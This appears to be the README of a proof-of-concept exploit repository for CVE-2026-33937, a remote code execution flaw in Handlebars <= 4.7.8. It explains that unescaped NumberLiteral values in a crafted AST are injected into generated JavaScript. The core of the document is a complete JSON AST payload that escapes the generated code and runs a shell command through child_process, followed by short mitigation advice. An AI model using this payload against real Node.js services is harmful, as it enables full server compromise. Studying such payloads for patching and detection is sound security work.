# CVE-2026-33937 - Handlebars RCE Exploit PoC

## Description
CVE-2026-33937 is a critical Remote Code Execution (RCE) vulnerability in Handlebars caused by unsafe handling of Abstract Syntax Tree (AST) input.

The vulnerability allows attackers to inject arbitrary JavaScript code by supplying a crafted AST object to `Handlebars.compile()`.


## Root Cause
`Handlebars.compile()` accepts both:
- Template string
- Pre-parsed AST object

When an AST object is provided, the parsing phase is skipped.

Inside:
```

lib/handlebars/compiler/javascript-compiler.js

```

The function:

```js
NumberLiteral(number) {
  this.pushStackLiteral(number.value);
}
```

directly inserts `number.value` into generated JavaScript code **without sanitization or escaping**, leading to code injection.


## Impact

* Remote Code Execution (RCE)
* Full server compromise
* Arbitrary JavaScript execution in Node.js environment


## Exploit Flow

```
Attacker → Crafted AST (JSON)
        │
        ▼
Handlebars.compile()
        │
        ▼
Compiler.compile()
        │
        ▼
JavaScriptCompiler (NumberLiteral injection)
        │
        ▼
Code generation
        │
        ▼
new Function(...) / eval()
        │
        ▼
       RCE
```

## Proof of Concept (PoC)

```json
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "data": false,
        "depth": 0,
        "parts": ["lookup"],
        "original": "lookup",
        "loc": null
      },
      "params": [
        {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": [],
          "original": "this",
          "loc": null
        },
        {
          "type": "NumberLiteral",
          "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
          "original": 1,
          "loc": null
        }
      ],
      "escaped": true,
      "strip": { "open": false, "close": false },
      "loc": null
    }
  ],
  "strip": {},
  "loc": null
}
```

## Affected Versions

* Handlebars <= 4.7.8


## Mitigation

* Do not allow untrusted AST input
* Validate and sanitize all template inputs
* Upgrade to patched version of Handlebars


## References

* NVD: [https://nvd.nist.gov/vuln/detail/CVE-2026-33937](https://nvd.nist.gov/vuln/detail/CVE-2026-33937)
